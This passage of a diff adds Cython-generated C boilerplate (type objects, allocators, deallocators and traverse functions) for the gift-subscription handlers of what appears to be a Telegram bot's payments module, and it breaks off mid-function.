__Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L1_error; + __pyx_L9_try_return:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L0; + __pyx_L8_except_return:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L0; + __pyx_L10_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":190 + * return None + * + * async def validate_client_code(): # <<<<<<<<<<<<<< + * """ + * hardware ID . + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_AddTraceback("validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_spec = { + "handlers.payments.gift.__pyx_scope_struct__start_menu_handler", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct__start_menu_handler", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_expiry_time); + Py_CLEAR(p->__pyx_v_gift); + Py_CLEAR(p->__pyx_v_gifts); + Py_CLEAR(p->__pyx_v_gifts_text); + Py_CLEAR(p->__pyx_v_is_used); + Py_CLEAR(p->__pyx_v_months); + Py_CLEAR(p->__pyx_v_recipient); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_user_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_expiry_time) { + e = (*v)(p->__pyx_v_expiry_time, a); if (e) return e; + } + if (p->__pyx_v_gift) { + e = (*v)(p->__pyx_v_gift, a); if (e) return e; + } + if (p->__pyx_v_gifts) { + e = (*v)(p->__pyx_v_gifts, a); if (e) return e; + } + if (p->__pyx_v_months) { + e = (*v)(p->__pyx_v_months, a); if (e) return e; + } + if (p->__pyx_v_recipient) { + e = (*v)(p->__pyx_v_recipient, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_user_tg_id) { + e = (*v)(p->__pyx_v_user_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_spec = { + "handlers.payments.gift.__pyx_scope_struct_1_my_gifts_handler", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct_1_my_gifts_handler", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_months); + Py_CLEAR(p->__pyx_v_price); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_months) { + e = (*v)(p->__pyx_v_months, a); if (e) return e; + } + if (p->__pyx_v_price) { + e = (*v)(p->__pyx_v_price, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler_spec = { + "handlers.payments.gift.__pyx_scope_struct_2_gift_subscription_handler", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct_2_gift_subscription_handler", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)o; + #if 